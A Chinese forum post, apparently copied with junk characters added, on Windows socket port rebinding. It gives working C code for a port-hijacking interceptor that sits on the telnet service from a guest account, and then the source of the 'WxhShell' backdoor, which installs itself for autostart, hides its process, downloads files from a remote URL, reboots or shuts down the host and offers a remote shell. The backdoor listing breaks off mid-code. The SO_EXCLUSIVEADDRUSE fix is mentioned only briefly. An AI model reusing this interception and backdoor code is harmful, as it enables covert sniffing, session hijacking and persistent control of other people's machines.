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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +L| ?~p`V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ooL!TS GD  
bv9]\qC]T<  
  saddr.sin_family = AF_INET; p2[n$61   
_476pZ_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N/'b$m5= S  
swoQ'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BB$>h}  
[0[i5'K:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k>Vci{v  
kr5">"7  
  这意味着什么?意味着可以进行如下的攻击: i2U{GV<K-r  
He/8=$c%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +I:Unp  
};bEU wGWf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nQtWvT  
uR4z &y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PbgP\JeX  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9:[  9v  
S6M}WR^,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n;Q7X>-f8`  
:&rt)/I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k&q;JyUi  
kT66;Y[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VT`^W Hu  
\0I_<  
  #include ,RI Gc US  
  #include VUGmi]qd  
  #include I-)+bV G  
  #include    4Zddw0|2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m@F`!qY~Y\  
  int main() ~&_z2|UXp  
  { T_ <@..C  
  WORD wVersionRequested; d-ZJL6-  
  DWORD ret; @|m/djN5x  
  WSADATA wsaData; Uh4%}-;  
  BOOL val; !bx;Ta.  
  SOCKADDR_IN saddr; (ejvF):|  
  SOCKADDR_IN scaddr; &|ex`nwc0  
  int err; 9C9oUtS  
  SOCKET s; ,vawzq[oSy  
  SOCKET sc; 0 [# 3;a  
  int caddsize; a=1@*ID  
  HANDLE mt; "1*:JVG  
  DWORD tid;   o]_dJB  
  wVersionRequested = MAKEWORD( 2, 2 ); vjCu4+w($Z  
  err = WSAStartup( wVersionRequested, &wsaData ); 3E]plj7$  
  if ( err != 0 ) { ^4hO  
  printf("error!WSAStartup failed!\n"); 1~`fVg  
  return -1; HTS0s\R$  
  } EhvX)s  
  saddr.sin_family = AF_INET; 9c'xHO`  
   DGF5CK.O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CL;}IBd a  
~.nmI&3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~2N"#b&J  
  saddr.sin_port = htons(23); J#(LlCs?@c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j#x6  
  { }W8;=$jr  
  printf("error!socket failed!\n"); 9uO 2Mm  
  return -1; c )g\/  
  } RnE4<Cy  
  val = TRUE; w<3#1/g!2B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >J?fl8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l0 m-$/  
  { 6]N;r5n  
  printf("error!setsockopt failed!\n"); EU;9 *W<  
  return -1; >dD@j:Qc  
  } (@VMH !3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 70nqD>M4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L,`LN>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X-Kh(Z  
2(+2+ }  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~<5!?6Yt  
  { "| g>'wM*  
  ret=GetLastError(); 9YyLf;  
  printf("error!bind failed!\n"); At>DjKx]O  
  return -1; vWv"  
  } T2W eE@o  
  listen(s,2); g2ixx+`?|:  
  while(1) ,Vm < rK  
  { hH 3RP{'=  
  caddsize = sizeof(scaddr); {9pZ)tB  
  //接受连接请求 c_pr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UHkMn  
  if(sc!=INVALID_SOCKET) N!=v4f  
  { Lv7(st%`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pa3{8x{9m  
  if(mt==NULL) QO~P7r|A  
  { uyWunpT  
  printf("Thread Creat Failed!\n"); 2- h{N  
  break; q:0N<$63  
  } 783,s_  
  } >T-u~i$s  
  CloseHandle(mt); *n ]GsOOn  
  } HM1Fz\Sf  
  closesocket(s); aFm_;\  
  WSACleanup(); :\c ^*K(9  
  return 0; m? }6)\ob  
  }   p27~>xQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) P|E| $)m  
  {  8q!]y6  
  SOCKET ss = (SOCKET)lpParam; 1(R}tRR7R  
  SOCKET sc; ZvX*t)VjTz  
  unsigned char buf[4096]; E CuH%b^,  
  SOCKADDR_IN saddr; ;`{H!w[D  
  long num; "+nRGEs6  
  DWORD val; U9 s&  
  DWORD ret; ?e4YGOe.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #gN&lY:CFn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bsli0FJSh'  
  saddr.sin_family = AF_INET; V)k4:H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pYEMmZ?L  
  saddr.sin_port = htons(23);  7xlkZF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X`K<>0.N  
  { lrE5^;/s1  
  printf("error!socket failed!\n"); 8/#A!Ww]  
  return -1; Pmx -8w  
  } )2o?#8J  
  val = 100; h7oo7AP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JPHL#sKyz  
  { t!l&iVWs  
  ret = GetLastError(); ^[`%&uj!g  
  return -1; SKN`2hD  
  } /36:ms A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G~a ZJ,  
  { Dx?,=~W9  
  ret = GetLastError(); JXQO~zj  
  return -1; Bk c4TO  
  } i&fuSk EP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &6!)jIWJ  
  { CK@@HSm}l  
  printf("error!socket connect failed!\n"); V f&zL Sgr  
  closesocket(sc); FD #8mg  
  closesocket(ss); ^{`exCwM x  
  return -1; .~;\eW[  
  } ?l{nk5,?-Y  
  while(1) 5C ]x!>kX  
  { $a]`nLUa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2F.;;Ab  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ADzhNf S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'IQ0{&EI  
  num = recv(ss,buf,4096,0); ]%H`_8<gc  
  if(num>0) q54]1TQ  
  send(sc,buf,num,0); tDcT%D {:  
  else if(num==0) q<|AZ2Ai  
  break; tcI*a>  
  num = recv(sc,buf,4096,0); (?c"$|^J  
  if(num>0) Rhs/3O8k  
  send(ss,buf,num,0); 7n<{tM  
  else if(num==0) UI0VtR]   
  break; +O{*M9 B  
  } Zu[su>\  
  closesocket(ss); _V6ukd"B~  
  closesocket(sc); b8UO,fY q  
  return 0 ; wn%A4-%{  
  } p6V0`5@t  
$6 f3F?y7  
^ZcGY+/~  
========================================================== {!L~@r  
/([kh~a  
下边附上一个代码,,WXhSHELL ;)*eo_tQ  
%tGO?JMkd  
========================================================== ^yp{32  
N4!O.POP  
#include "stdafx.h" Ti5-6%~&  
6 H$FhJF  
#include <stdio.h> -Q*gW2KmV  
#include <string.h> 6cXyJW  
#include <windows.h> <]2wn  
#include <winsock2.h> I\ob7X'Xu!  
#include <winsvc.h> 4D4j7  
#include <urlmon.h> Y:[u1~a  
u*`GiZAO  
#pragma comment (lib, "Ws2_32.lib") 8l rpve  
#pragma comment (lib, "urlmon.lib") #X1ND  
<bWG!ZG  
#define MAX_USER   100 // 最大客户端连接数 TvbE2Q;/UL  
#define BUF_SOCK   200 // sock buffer DvvK^+-~  
#define KEY_BUFF   255 // 输入 buffer ZFL~;_r  
)y$(AJx$  
#define REBOOT     0   // 重启 46h<,na?,  
#define SHUTDOWN   1   // 关机  qX{+oy5  
F JyT+  
#define DEF_PORT   5000 // 监听端口 m{HS0l'  
U Cjld  
#define REG_LEN     16   // 注册表键长度 n:!_  
#define SVC_LEN     80   // NT服务名长度 I efn$  
e\L8oOk#r  
// 从dll定义API YOO+R{4(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?e 4/p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }|=|s f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rx|pOz,:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4V`G,W4^J  
I!K6o.|1  
// wxhshell配置信息 3!]rmZ-W  
struct WSCFG { (GfZ*  
  int ws_port;         // 监听端口 =Xr.'(U  
  char ws_passstr[REG_LEN]; // 口令 KZf+MSq? B  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q~Wqy~tS  
  char ws_regname[REG_LEN]; // 注册表键名 s$j,9uRr  
  char ws_svcname[REG_LEN]; // 服务名 InI$:kJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ww1[rCh\+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :V||c5B+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d2$IH#~9B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OneY_<*a<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q=$2c[Uk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J|73.&B  
>hIu2jm  
}; &};zvo~P.  
es7=%!0  
// default Wxhshell configuration abVmkdP_s  
struct WSCFG wscfg={DEF_PORT, eHUOU>&P]  
    "xuhuanlingzhe", kAUymds;O  
    1, ~P-mC@C  
    "Wxhshell", w7L) '9  
    "Wxhshell", 4Z0]oI X  
            "WxhShell Service", v]UwJz3<  
    "Wrsky Windows CmdShell Service", /)O"l@ }U  
    "Please Input Your Password: ", ~k5W@`"W  
  1, a%0EiU  
  "http://www.wrsky.com/wxhshell.exe", QMm%@zH  
  "Wxhshell.exe" [$UI8tV  
    }; dM@1l1h/  
J{G?-+`  
// 消息定义模块 @H8EWTZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d<Tc7vg4|U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {' H(g[k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \  Cj7k^  
char *msg_ws_ext="\n\rExit."; f|g g  
char *msg_ws_end="\n\rQuit."; Y'X%Aw;`  
char *msg_ws_boot="\n\rReboot..."; HGg@ _9tW  
char *msg_ws_poff="\n\rShutdown..."; owv[M6lbD  
char *msg_ws_down="\n\rSave to "; ^-'fW7[m  
_yR^*}xJb  
char *msg_ws_err="\n\rErr!"; e*1_8I#2  
char *msg_ws_ok="\n\rOK!"; R4d=S4 i  
Tlr v={  
char ExeFile[MAX_PATH]; uB?ZcF}Tk  
int nUser = 0; "0TZTa1e  
HANDLE handles[MAX_USER]; !;'=iNOYR  
int OsIsNt; uyx 2;f  
u ^RxD^=L  
SERVICE_STATUS       serviceStatus; BY*8ri^u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #g!.T g'  
2 yz _  
// 函数声明 _q^E,P  
int Install(void); `Q,H|hp;k;  
int Uninstall(void); *VN6cSq  
int DownloadFile(char *sURL, SOCKET wsh); a8Wwq?@  
int Boot(int flag); xgtR6E^k  
void HideProc(void); }Y4qS  
int GetOsVer(void); 8q7b_Pq1U  
int Wxhshell(SOCKET wsl); 3G4-^hY<  
void TalkWithClient(void *cs); c:.eGH_f  
int CmdShell(SOCKET sock); &%Tj/Qx  
int StartFromService(void); ,R|BG  
int StartWxhshell(LPSTR lpCmdLine); 93hxSRw  
0{SL&<&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddR>7d}N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C7AUsYM  
5F"jk d+  
// 数据结构和表定义 9N3eN  
SERVICE_TABLE_ENTRY DispatchTable[] = d'sZxU  
{ kcx Ad   
{wscfg.ws_svcname, NTServiceMain}, x,Vr=FB  
{NULL, NULL} kU`r)=1"  
}; 2J;g{95z  
U m+8"W  
// 自我安装 P0b7S'a4!  
int Install(void) $ME)#(  
{ !|>"o7  
  char svExeFile[MAX_PATH]; 0m ? )ROaJ  
  HKEY key; ~Cjn7  
  strcpy(svExeFile,ExeFile); a[TMDU;(/4  
T[j,UkgGo  
// 如果是win9x系统,修改注册表设为自启动 u#SWj,X  
if(!OsIsNt) { 3+bt~J0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aiea\j Bv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wm5 dk9&x  
  RegCloseKey(key); rVsJ`+L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <54 S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y6d@h? ht  
  RegCloseKey(key); vr^qWn  
  return 0; 40 0#v|b  
    } /u+e0BHo  
  } PFK  '$  
} n(]-y@X0_  
else { ;*&-C9b  
Wv/=O}  
// 如果是NT以上系统,安装为系统服务 ete.!*=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RpYERAgT  
if (schSCManager!=0) Sa5G.^ XI  
{ )\^-2[;  
  SC_HANDLE schService = CreateService pD]OT-8  
  ( X\ F|Tk3_  
  schSCManager, 5/z/>D;  
  wscfg.ws_svcname, X[TR3[1}  
  wscfg.ws_svcdisp, 0qT%!ku&  
  SERVICE_ALL_ACCESS, ?G&ikxl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c[Zje7 @  
  SERVICE_AUTO_START, Z EO WO  
  SERVICE_ERROR_NORMAL, ^G-@06/!  
  svExeFile, dC4'{ n|7  
  NULL, 4xJQ!>6  
  NULL, >yh2Lri  
  NULL, &iVs0R  
  NULL, \D&KC,i5f  
  NULL RCLeA=/N@0  
  ); C{wEzM :  
  if (schService!=0) M& CqSd  
  { \5cpFj5%  
  CloseServiceHandle(schService); n{SJ_S#a.a  
  CloseServiceHandle(schSCManager); A. w:h;7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5E_YEBO/  
  strcat(svExeFile,wscfg.ws_svcname); 2dgd~   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4nz35BLr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C2)2)  
  RegCloseKey(key); T9q-,w/j;  
  return 0; 2VCI 1E  
    } *HB-QIl  
  } &]-DqK7  
  CloseServiceHandle(schSCManager); *4_Bd=5(U  
} s(roJbJ_;  
} S`?!G&[!>  
9Lfv^V0  
return 1; 5nVt[Puw  
} /vb`H>P  
-s'-eQF J  
// 自我卸载 mlS$>O_aX  
int Uninstall(void) ?b5 ^  
{ !$>R j  
  HKEY key; Nl(Foya%)  
VOh4#%Vj  
if(!OsIsNt) { @$K"o7+]   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F1Bq$*'N$w  
  RegDeleteValue(key,wscfg.ws_regname); y L~W.H  
  RegCloseKey(key); -1@<=jX3_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ o#V#  
  RegDeleteValue(key,wscfg.ws_regname); b\+`e b8_  
  RegCloseKey(key); [;sRV<  
  return 0; HiJE}V;Vq  
  } $7A8/#  
} 7i1q wRv  
} J!7MZL b  
else { 8kDp_s i  
U|j`e5)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O!bOp=  
if (schSCManager!=0) 5.J.RE"M  
{ w^0nqh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K,:N   
  if (schService!=0) 63x?MY6  
  { '>C5-R:O  
  if(DeleteService(schService)!=0) { yJe>JK~)  
  CloseServiceHandle(schService); u08mqEa  
  CloseServiceHandle(schSCManager);  qA5r  
  return 0; t.\dpBq  
  } 8|58 H  
  CloseServiceHandle(schService); YkQd  
  } 1]/.` ]1  
  CloseServiceHandle(schSCManager); g9 5`.V}  
} @2v_pJy^  
} 2gVm9gAHUd  
2SR:FUV/  
return 1; d4z/5Oa  
} X+]G-  
3%=~) 7cF  
// 从指定url下载文件 8Kk(8a&v  
int DownloadFile(char *sURL, SOCKET wsh) DrK{}uM  
{ 8BNi1Qn$  
  HRESULT hr; I ?.^ho  
char seps[]= "/"; LvYB7<zk>  
char *token; m/EFHS49  
char *file; gt w Q-  
char myURL[MAX_PATH]; F`]2O:[  
char myFILE[MAX_PATH]; ayF\nk4b  
/fV;^=:8c  
strcpy(myURL,sURL); 0h7r&t%YsV  
  token=strtok(myURL,seps); )p%E%6p  
  while(token!=NULL) Q#[9|A9  
  { WVvvI9  
    file=token; }txX; "/  
  token=strtok(NULL,seps); As<bL:>dE  
  } sZF6h=67D  
A1zjPG&]  
GetCurrentDirectory(MAX_PATH,myFILE); Hc(OI|z~  
strcat(myFILE, "\\"); !0mI;~q|F  
strcat(myFILE, file); cDH^\-z  
  send(wsh,myFILE,strlen(myFILE),0); l0A&9g*l2  
send(wsh,"...",3,0); #$qTFN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XAL1|] S  
  if(hr==S_OK) iTU5l5Uz  
return 0; fkNbS  
else OX\F~+  
return 1; ;q6Ki.D  
"C0Q(dr/n  
} b(O3@Q6[  
y:qUn!3  
// 系统电源模块 7o5BXF  
int Boot(int flag) V[vl!XM  
{ R`^_(yn>  
  HANDLE hToken; hSyql  
  TOKEN_PRIVILEGES tkp; #],&>n7'  
{o`] I>gb  
  if(OsIsNt) { d <JM36j?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I83<r9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6ar   
    tkp.PrivilegeCount = 1; x39<6_?G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l3F6AlPql  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jz *;q~  
if(flag==REBOOT) { \7'{g@C(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?"g2v-jTK  
  return 0; JbQ) sp  
} 63,H{  
else { K?$^@ N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) * *G9H  
  return 0; {8,J@9NU  
} Y#$%iF  
  } B%+T2=&$7  
  else { 2Dj%,gaR  
if(flag==REBOOT) { :@A9](gI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _8UDT^?8,  
  return 0; u.Tcg^v  
} v^iL5y!  
else { yFlm[K5YD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9.B KI/  
  return 0; oc0G |  
} A`o8'+`C  
} PGV/ h  
qE3UO<FA  
return 1; oJ|j#+Ft  
} SPmq4  
eb"5- 0  
// win9x进程隐藏模块 ZlzjVU/E  
void HideProc(void) ptxbDzOz  
{ JKGe"  
Jd^,]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GKc`xIQ  
  if ( hKernel != NULL ) Qtv&ijFC  
  { i5?q,_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !LN?PKJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s'J:f$flS  
    FreeLibrary(hKernel); g:Xhw$x9  
  } :\7X}n*&  
<.izVD4/Gg  
return; ~d*(=G  
} p/@smke  
74k dsgQf  
// 获取操作系统版本 p\aaJ  
int GetOsVer(void) o;<Xo&  
{ mg.kr:  
  OSVERSIONINFO winfo; DG ;_Vg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /F'sb[  
  GetVersionEx(&winfo); .qZ~_xkd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wLJ:\_Jaf  
  return 1; "J8vjr1/  
  else 0Bi.6r  
  return 0; v+#}rUTF  
} 7f!YoW;1  
^mO~ W!"  
// 客户端句柄模块 e)#J1(j_  
int Wxhshell(SOCKET wsl) c*L\_Vx+  
{ iq( E'`d  
  SOCKET wsh; EkNunCls  
  struct sockaddr_in client; @? QoF#D  
  DWORD myID; q ]e`9/U  
O% KsD[W;  
  while(nUser<MAX_USER) (~wqa 3  
{ X1-'COQS%&  
  int nSize=sizeof(client); g+>(dnX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qUGC" <W  
  if(wsh==INVALID_SOCKET) return 1; };jN\x?&q  
(VEpVn3{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [)zP6\I  
if(handles[nUser]==0) A5R<p+t6  
  closesocket(wsh); xQXXC|T  
else 8hJ%JEzga  
  nUser++; RA'M8:$  
  } $jI3VB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >$7v ;Q  
f"SD/]q-  
  return 0; m\r@@!  
} ![_*(8v}S  
\T:i{.i  
// 关闭 socket 6BbGA*%{  
void CloseIt(SOCKET wsh) $r8 ^0ZRr  
{ QoIT*!  
closesocket(wsh); wFsyD3  
nUser--; ';jYOVe  
ExitThread(0); >TnTnFWX  
} Be=u&T:~  
X"e5 Y!:M-  
// 客户端请求句柄 dP<=BcH>f  
void TalkWithClient(void *cs) GyIT{M}KV  
{ *|C^=*j9  
T;y>>_,  
  SOCKET wsh=(SOCKET)cs; >dG;w6y'  
  char pwd[SVC_LEN]; =Og)q$AL  
  char cmd[KEY_BUFF]; B43HNs  
char chr[1]; _%!c+f7  
int i,j; * @v)d[z_  
QWSTR\!  
  while (nUser < MAX_USER) { .C( eh   
>qjq=Ege  
if(wscfg.ws_passstr) { b8"?VS5-"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Thn])%I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ix!Iw[CNd  
  //ZeroMemory(pwd,KEY_BUFF); L>W'LNXCv  
      i=0; n%C>E.Tq  
  while(i<SVC_LEN) { NS%xTLow-  
IE&!YP(U(  
  // 设置超时 Vp*KfS]  
  fd_set FdRead; F6OpN "UM'  
  struct timeval TimeOut; m)v"3ib  
  FD_ZERO(&FdRead); Q<'nE  
  FD_SET(wsh,&FdRead); dzsmIV+  
  TimeOut.tv_sec=8; v7jq@#-   
  TimeOut.tv_usec=0; P&)xz7wG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1H@>/QC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hp* /#D  
E.ly#2?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ceM6{N<_U  
  pwd=chr[0]; |_*O'#jx  
  if(chr[0]==0xd || chr[0]==0xa) {  TYmP)  
  pwd=0; Vq5k+3W+  
  break; s(%oTKjt  
  } t.&Od;\[/  
  i++; Hl/ QnI!  
    } Hh-+/sO~"  
iZNts%Y]  
  // 如果是非法用户,关闭 socket D 38$`j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y/ >&0wj)d  
} X4AyX.p  
ZP *q4:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !2A:"2Kys:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Z+nz^'b  
$8xl#SqH  
while(1) { ') gi%  
2FF4W54I  
  ZeroMemory(cmd,KEY_BUFF); OjF_ %5  
;04Ldb1{|3  
      // 自动支持客户端 telnet标准   Rhz_t@e  
  j=0; W?aI|U1  
  while(j<KEY_BUFF) { RGg(%.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n'01Hh`0  
  cmd[j]=chr[0]; oA7;.:3  
  if(chr[0]==0xa || chr[0]==0xd) { V7[zAq  
  cmd[j]=0; LbG_z =A  
  break; J'fQW<T4wU  
  } jbu8~\"  
  j++; U.XNv-M  
    } e~@ [18  
'fF;(?  
  // 下载文件 a /#PLP  
  if(strstr(cmd,"http://")) { )V ;mwT!Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MHai%E  
  if(DownloadFile(cmd,wsh)) n\5RAIg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r77PQQD T  
  else 'u_t<F ]b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ikiib WQL+  
  } T/xp?Vq6/  
  else { K]|> Et`  
bKQ"ax>6p  
    switch(cmd[0]) { rN<b?KE  
  H nUYqhZS  
  // 帮助 xw T%),  
  case '?': { M57T2]8,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }_;!hdY q  
    break; g'=B%eO$j:  
  } Tp?y8r  
  // 安装 x.zbD8l/9  
  case 'i': { (v|} \?L  
    if(Install()) WxJf{=-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  2KN6}  
    else ;M#_6Hd?qD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?a8(a zn  
    break; z$GoaS(  
    } (85Fv&a  
  // 卸载 XC "'Q+  
  case 'r': { .YnFH$;$  
    if(Uninstall()) :.d:9Z|_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&3"<6xA  
    else ^;maotHn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MpqZH{:?G  
    break; CI :`<PZ\-  
    } t" 7yNs(I  
  // 显示 wxhshell 所在路径 ;VNMD 6H  
  case 'p': { OhmQ,  
    char svExeFile[MAX_PATH]; 7&"n`@(.!  
    strcpy(svExeFile,"\n\r"); }X_;X_\3;'  
      strcat(svExeFile,ExeFile); P=+nB*hG  
        send(wsh,svExeFile,strlen(svExeFile),0); )aao[_ZS  
    break; VX+jadYdq  
    } MJCzo |w  
  // 重启 /K{9OT@>  
  case 'b': { ""h)LUrl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VY"9?2?/  
    if(Boot(REBOOT)) Ra/Ukv_v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJH,  
    else { .8uz 6~  
    closesocket(wsh); C?=P  
    ExitThread(0); _s$_Sa ;  
    } RZ7( J  
    break; mVsIAC$}8  
    } drd/jH&  
  // 关机 6uKMCQ=h  
  case 'd': { /c-r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^/ =#UQ*k  
